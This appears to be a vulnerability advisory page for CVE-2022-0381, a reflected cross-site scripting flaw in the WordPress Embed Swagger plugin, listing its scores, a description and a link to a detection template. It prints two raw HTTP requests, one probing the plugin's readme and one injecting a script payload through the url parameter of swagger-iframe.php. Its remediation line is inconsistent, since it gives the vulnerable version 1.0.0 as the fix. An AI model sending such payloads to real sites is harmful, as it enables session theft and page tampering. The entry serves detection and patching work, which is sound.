| Title | WordPress Embed Swagger <=1.0.0 - Cross-Site Scripting |
|---|---|
| Author | edoardottt |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of the WordPress Embed Swagger plugin (1.0.0) or apply a patch provided by the vendor. |
| CVSS Score | 6.1 |
| EPSS Score | 0.07802 |
| CVE ID | CVE-2022-0381 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 swagger xss wordpress embed_swagger_project vuln |
WordPress Embed Swagger plugin 1.0.0 and prior contains a reflected cross-site scripting vulnerability due to insufficient escaping/sanitization and validation via the url parameter found in the ~/swagger-iframe.php file, which allows attackers to inject arbitrary web scripts onto the page.
GET /wp-content/plugins/embed-swagger/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.3
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/embed-swagger/swagger-iframe.php?url=xss://%22-alert(document.domain)-%22 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0381.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0381.pcap
N/AN/A